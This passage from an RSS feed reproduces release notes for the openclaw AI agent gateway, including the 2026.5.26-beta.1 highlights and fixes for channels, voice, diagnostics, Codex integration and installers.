<p>Install/update: bypass npm <code>min-release-age</code> policies with <code>--min-release-age=0</code> instead of <code>--before</code> so hosted installers keep working on npm versions that reject the combined config. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4490856882" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84749" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84749/hovercard" href="https://github.com/openclaw/openclaw/pull/84749">#84749</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TeodoroRodrigo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TeodoroRodrigo">@TeodoroRodrigo</a>.</p>
</li>
<li>
<p>Diagnostics: reclaim wedged session lanes when stale active-run bookkeeping blocks queued work despite no forward progress. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506871185" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85639" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85639/hovercard" href="https://github.com/openclaw/openclaw/issues/85639">#85639</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</p>
</li>
<li>
<p>WebChat: keep message-tool replies visible in the chat while still summarizing internal tool results for the model. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514654012" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86347" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86347/hovercard" href="https://github.com/openclaw/openclaw/issues/86347">#86347</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Gateway/perf: fail startup benchmark samples when the Gateway process exits before benchmark teardown, including signal deaths after readiness probes.</p>
</li>
<li>
<p>Gateway/perf: fail restart benchmark samples when the Gateway exits before benchmark teardown, including clean exits and signal deaths after successful restart probes.</p>
</li>
<li>
<p>Agents/tests: keep model catalog visibility on static selection helpers so catalog visibility checks avoid the broad model-selection barrel import.</p>
</li>
<li>
<p>Agents/commitments: serialize commitment store load-modify-save writes so concurrent heartbeat and CLI updates no longer lose dismissal, sent, or attempt state. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4432420395" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81153" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81153/hovercard" href="https://github.com/openclaw/openclaw/pull/81153">#81153</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hpc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hpc">@ai-hpc</a>.</p>
</li>
<li>
<p>xAI/LM Studio: promote plain-text tool-call fallbacks into structured tool calls and strip leaked internal tool syntax before user-facing delivery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513214742" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86222" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86222/hovercard" href="https://github.com/openclaw/openclaw/pull/86222">#86222</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>CLI: suppress benign self-update version-skew warnings during package post-update finalization.</p>
</li>
<li>
<p>Gateway/perf: tighten restart and startup benchmark failure handling so long profiling runs, failed probes, and fresh Linux runners no longer produce false passing or <code>n/a</code> results.</p>
</li>
<li>
<p>Checks: keep intentional Knip unused-file findings optional so full CI and sparse proof workspaces stay aligned.</p>
</li>
<li>
<p>Docker: restore writable <code>~/.config</code> in runtime images. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510825052" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85968" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85968/hovercard" href="https://github.com/openclaw/openclaw/issues/85968">#85968</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hkoessler/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hkoessler">@hkoessler</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bartok9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bartok9">@Bartok9</a>.</p>
</li>
<li>
<p>Plugin SDK: keep legacy root diagnostic subscriptions connected when built plugin SDK aliases resolve diagnostic helpers through a separate module graph.</p>
</li>
<li>
<p>Diagnostics: export alertable OTel and Prometheus signals for blocked tools, model failover, stale sessions, liveness warnings, oversized payloads, and webhook ingress while fixing shared OTLP endpoints with query strings.</p>
</li>
<li>
<p>Tests: normalize macOS canonical temp paths in exec allowlists, fs-safe trash assertions, installed plugin matching, Telegram topic-name stores, and built ACPX MCP server expectations so native macOS proof runners cover the intended behavior.</p>
</li>
<li>
<p>Codex/app-server: preserve message-tool-only source reply delivery mode on active runs so sub-agent completion wakeups can steer the active Codex turn instead of being rejected. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513790064" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86287" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86287/hovercard" href="https://github.com/openclaw/openclaw/pull/86287">#86287</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Tests: sample the Windows kitchen-sink RPC gateway directly and serialize RSS probes so native runs keep the memory guard active.</p>
</li>
<li>
<p>Tests: normalize bundled plugin lifecycle probe paths and state-root lookup so native Windows release sweeps accept valid packaged plugin installs.</p>
</li>
<li>
<p>Agents/Claude CLI: route live native Bash permission requests through OpenClaw exec policy so Claude turns no longer stall on <code>control_request</code>, and document that OpenClaw exec policy is authoritative. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4425323621" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80819" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80819/hovercard" href="https://github.com/openclaw/openclaw/issues/80819">#80819</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514343781" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86330" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86330/hovercard" href="https://github.com/openclaw/openclaw/pull/86330">#86330</a>, from <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4450374694" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81971" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81971/hovercard" href="https://github.com/openclaw/openclaw/pull/81971">#81971</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/guthirry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/guthirry">@guthirry</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sallyom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sallyom">@sallyom</a>.</p>
</li>
<li>
<p>Security audit: warn when YOLO OpenClaw exec policy overrides a restrictive raw Claude <code>--permission-mode</code> for managed live sessions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518138669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86557" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86557/hovercard" href="https://github.com/openclaw/openclaw/pull/86557">#86557</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sallyom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sallyom">@sallyom</a>.</p>
</li>
<li>
<p>Config: keep benign legacy metadata write anomalies out of default doctor and config command output while preserving explicit anomaly logging for diagnostics.</p>
</li>
<li>
<p>Codex: log when implicit app-server <code>never</code> approvals are promoted for OpenClaw tool policy, including whether the trigger was a <code>before_tool_call</code> hook or trusted tool policy.</p>
</li>
<li>
<p>Codex harness: make subscription usage-limit errors without reset times explain that OpenClaw cannot determine the reset and point users to wait until Codex is available, use another Codex account, or switch to another configured model/provider. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>Google Vertex: support production ADC modes such as Workload Identity Federation, service-account credentials, and metadata-server ADC for the native Vertex transport. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4474267416" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83971" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83971/hovercard" href="https://github.com/openclaw/openclaw/pull/83971">#83971</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/damianFelixPago/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/damianFelixPago">@damianFelixPago</a>.</p>
</li>
<li>
<p>Telegram: route normal <code>[telegram][diag]</code> polling diagnostics through <code>runtime.log</code> while keeping non-diag warnings and persistence failures on <code>runtime.error</code>, so healthy polling startup no longer looks like an error. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462473913" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82957" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82957/hovercard" href="https://github.com/openclaw/openclaw/issues/82957">#82957</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462475221" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82958" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82958/hovercard" href="https://github.com/openclaw/openclaw/pull/82958">#82958</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</p>
</li>
<li>
<p>Providers/Ollama: strip inline Kimi cloud reasoning prefixes from streamed and final visible replies while keeping ordinary Kimi answers append-only. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513786914" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86286" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86286/hovercard" href="https://github.com/openclaw/openclaw/pull/86286">#86286</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jason-allen-oneal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jason-allen-oneal">@jason-allen-oneal</a>.</p>
</li>
<li>
<p>Gateway: require Talk secret authority before setup-code handoff can include Talk secrets. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507699906" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85690" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85690/hovercard" href="https://github.com/openclaw/openclaw/pull/85690">#85690</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</p>
</li>
<li>
<p>Agents: keep fallback error reporting scoped to the active model candidate so stale prior-provider quota/auth text is not reported for later fallback attempts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512330133" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86134" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86134/hovercard" href="https://github.com/openclaw/openclaw/pull/86134">#86134</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</p>
</li>
<li>
<p>iMessage: dedupe watcher startup when <code>channels.imessage.accounts</code> lists both <code>default</code> and a named account that point at the same local Messages source, so the gateway no longer spawns two <code>imsg rpc</code> processes or doubles inbound replies; the dedupe is scoped to watcher startup, leaving duplicate accounts addressable for outbound sends, status, and capability listings, and <code>openclaw doctor</code> flags the redundant account with a rebinding hint. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4246413314" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65141" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65141/hovercard" href="https://github.com/openclaw/openclaw/issues/65141">#65141</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520556743" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86705" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86705/hovercard" href="https://github.com/openclaw/openclaw/pull/86705">#86705</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/swang430/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/swang430">@swang430</a>.</p>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[openclaw 2026.5.26-beta.1]]></title>
<description><![CDATA[2026.5.26
Highlights

Faster replies and startup: visible reply delivery now separates user-facing sends from slower follow-up work, command/model/plugin metadata is reused on hot paths, and Gateway startup avoids repeated plugin, channel, session, usage-cost, and filesystem scans.
Better voice a...]]></description>
<link>https://tsecurity.de/de/3549287/downloads/openclaw-2026526-beta1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3549287/downloads/openclaw-2026526-beta1/</guid>
<pubDate>Tue, 26 May 2026 23:16:49 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.5.26</h2>
<h3>Highlights</h3>
<ul>
<li>Faster replies and startup: visible reply delivery now separates user-facing sends from slower follow-up work, command/model/plugin metadata is reused on hot paths, and Gateway startup avoids repeated plugin, channel, session, usage-cost, and filesystem scans.</li>
<li>Better voice and Talk: realtime Talk runs can be inspected, steered, cancelled, or followed up from Web UI and Discord voice; wake-name handling is more tolerant without letting ambient speech trigger agents.</li>
<li>More channels are production-ready: Telegram keeps typing/progress context and forum topics, iMessage handles attachment roots and duplicate local Messages sources, WhatsApp restores group/media behavior, Discord improves voice playback and model picking, and Signal/iMessage get reaction approvals.</li>
<li>Safer agents: Codex app-server auth, compaction, source replies, sandbox path handling, and usage-limit recovery are more robust; OpenAI-compatible providers avoid empty-tool and malformed payload failures.</li>
<li>More reliable replay and installs: legacy tool results, subagent spawn payloads, stale lock ownership, Windows stack-heavy startup, macOS restart validation, and Docker package preparation all fail less surprisingly.</li>
<li>Better install/update/release confidence: Alpine installs, stable update channels, Docker/package timeouts, Windows/macOS proof lanes, Testbox/Crabbox delegation, and plugin publish checks all got hardened.</li>
<li>New observability: Activity tab, gateway secret-prep traces, tool/model stream progress, OpenTelemetry LLM spans, release performance evidence, and richer missing telemetry signals make failures easier to inspect.</li>
</ul>
<h3>Changes</h3>
<ul>
<li>Transcripts: add core transcript capture and source-provider support for transcript-backed meeting summaries, including the renamed Transcripts docs and CLI surface.</li>
<li>Auth: add named model login profiles and supported credential migration for Hermes, OpenCode, and Codex auth profiles, with explicit opt-out and non-interactive controls. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507376112" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85667" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85667/hovercard" href="https://github.com/openclaw/openclaw/pull/85667">#85667</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Diagnostics: trace gateway secret preparation, classify skill/tool usage, surface model stream progress, add OpenTelemetry LLM content spans, and expose alertable telemetry for blocked tools, failover, stale sessions, liveness, oversized payloads, and webhook ingress. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462942195" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83019" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83019/hovercard" href="https://github.com/openclaw/openclaw/pull/83019">#83019</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416373435" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80370" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80370/hovercard" href="https://github.com/openclaw/openclaw/pull/80370">#80370</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512822495" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86191" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86191/hovercard" href="https://github.com/openclaw/openclaw/pull/86191">#86191</a>)</li>
<li>Channels: add Signal reaction approvals, iMessage thumb approval reactions, and WhatsApp thumb approval reaction support so mobile approval flows work without textual <code>/approve</code> commands. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510153620" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85894" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85894/hovercard" href="https://github.com/openclaw/openclaw/pull/85894">#85894</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510696445" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85952" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85952/hovercard" href="https://github.com/openclaw/openclaw/pull/85952">#85952</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504724227" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85477" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85477/hovercard" href="https://github.com/openclaw/openclaw/pull/85477">#85477</a>)</li>
<li>Agents/API: forward OpenAI sampling params through the Gateway and expose estimated context-budget status for active agent runs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4476707401" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84094" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84094/hovercard" href="https://github.com/openclaw/openclaw/pull/84094">#84094</a>)</li>
<li>Android/iOS: add the Android pair-new-gateway action and improve mobile Talk mode surfaces, including iOS realtime Talk mode and Android offline voice/gateway recovery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4522311194" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86798" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86798/hovercard" href="https://github.com/openclaw/openclaw/pull/86798">#86798</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514830688" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86355" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86355/hovercard" href="https://github.com/openclaw/openclaw/pull/86355">#86355</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</li>
<li>Performance: cache plugin metadata snapshots, package realpaths, stable gateway metadata, model cost indexes, channel resolution, usage-cost indexes, and session/auth hot-path facts so common Gateway and reply paths do less rediscovery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4488512713" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84649" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84649/hovercard" href="https://github.com/openclaw/openclaw/pull/84649">#84649</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509730151" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85843" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85843/hovercard" href="https://github.com/openclaw/openclaw/pull/85843">#85843</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517570243" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86517" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86517/hovercard" href="https://github.com/openclaw/openclaw/pull/86517">#86517</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520170077" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86678" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86678/hovercard" href="https://github.com/openclaw/openclaw/pull/86678">#86678</a>)</li>
<li>Voice: expose shared realtime turn-context tracking through the realtime voice SDK and reuse it for Discord speaker attribution and wake-name context recovery.</li>
<li>Voice: reuse shared realtime output activity tracking in Google Meet command and node audio bridges, including recent-output checks for local barge-in detection.</li>
<li>Voice: expose shared realtime output activity tracking through the realtime voice SDK and reuse it for Discord playback activity and barge-in decisions.</li>
<li>Voice: expose shared realtime consult question matching, speakable-result extraction, and alias-aware forced-consult coordination through the realtime voice SDK, then reuse it in Gateway Talk, Voice Call, and Discord voice paths.</li>
<li>Voice: share activation-name matching and consult-transcript screening through the realtime voice SDK so Discord, browser voice, and meeting surfaces can reuse one implementation.</li>
<li>Cron: default <code>cron.maxConcurrentRuns</code> to 8 so scheduled automations and their isolated agent turns can make progress in parallel without explicit configuration.</li>
<li>QA-Lab: add <code>qa coverage --match &lt;query&gt;</code> so focused proof selection can discover matching scenarios from existing metadata before running live or remote lanes.</li>
<li>Discord/model picker: surface an alpha-bucket select (e.g. <code>A–G (12) · H–N (18) · O–Z (5)</code>) when the provider list or a provider's model list exceeds 25 items, so configs with <code>provider/*</code> wildcards stay one click from the right page instead of paginating through prev/next; falls back to numeric chunks when every item shares the same first letter.</li>
<li>Control UI: add an ephemeral Activity tab for sanitized live tool activity summaries without persisting raw telemetry. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3917789057" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/12831" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/12831/hovercard" href="https://github.com/openclaw/openclaw/issues/12831">#12831</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>Build: include <code>ui:build</code> in the <code>full</code> and <code>ciArtifacts</code> profiles of <code>scripts/build-all.mjs</code> so <code>pnpm build</code> always rebuilds <code>dist/control-ui</code> after <code>tsdown</code> cleans <code>dist</code>, removing the second-command requirement and the missing-asset failure mode for source/runtime installs and CI artifact uploads. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499721411" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85206" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85206/hovercard" href="https://github.com/openclaw/openclaw/issues/85206">#85206</a>)</li>
<li>iOS: improve Talk mode with direct realtime voice sessions, compact toolbar status, and responsive voice waveform feedback. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514830688" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86355" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86355/hovercard" href="https://github.com/openclaw/openclaw/pull/86355">#86355</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</li>
<li>Media: replace the Sharp image backend with Rastermill for metadata, resizing, EXIF orientation, and PNG alpha-preserving optimization so OpenClaw no longer installs Sharp or the WhatsApp Jimp fallback for image processing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516124165" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86437" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86437/hovercard" href="https://github.com/openclaw/openclaw/pull/86437">#86437</a>)</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>
<p>Reply/perf: reduce visible reply delivery latency by preserving Telegram typing/progress context, lazy-loading slash-command startup metadata, avoiding hot-path model hydration, flag-gating Codex profiler timing, deferring context compaction maintenance, and tracking delivery timing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356002" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86989" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86989/hovercard" href="https://github.com/openclaw/openclaw/pull/86989">#86989</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356249" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86990" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86990/hovercard" href="https://github.com/openclaw/openclaw/pull/86990">#86990</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356645" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86991" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86991/hovercard" href="https://github.com/openclaw/openclaw/pull/86991">#86991</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356932" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86992" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86992/hovercard" href="https://github.com/openclaw/openclaw/pull/86992">#86992</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526357185" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86993" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86993/hovercard" href="https://github.com/openclaw/openclaw/pull/86993">#86993</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526357498" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86994" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86994/hovercard" href="https://github.com/openclaw/openclaw/pull/86994">#86994</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/keshavbotagent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/keshavbotagent">@keshavbotagent</a>.</p>
</li>
<li>
<p>Reply/source delivery: keep TUI, Control UI, media, TTS, transcript, and Codex source-reply finals live without duplicate terminal events or stale replay artifacts.</p>
</li>
<li>
<p>Agents/replay: repair legacy tool results before replay, preserve <code>sessions_spawn</code> transcript payloads, restore current guard checks, stage sandboxed workspace media, and keep duplicate transcripts tool display metadata from reappearing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4455095754" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82203" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82203/hovercard" href="https://github.com/openclaw/openclaw/pull/82203">#82203</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4524958838" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86934" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86934/hovercard" href="https://github.com/openclaw/openclaw/pull/86934">#86934</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527204031" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87025" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87025/hovercard" href="https://github.com/openclaw/openclaw/pull/87025">#87025</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</p>
</li>
<li>
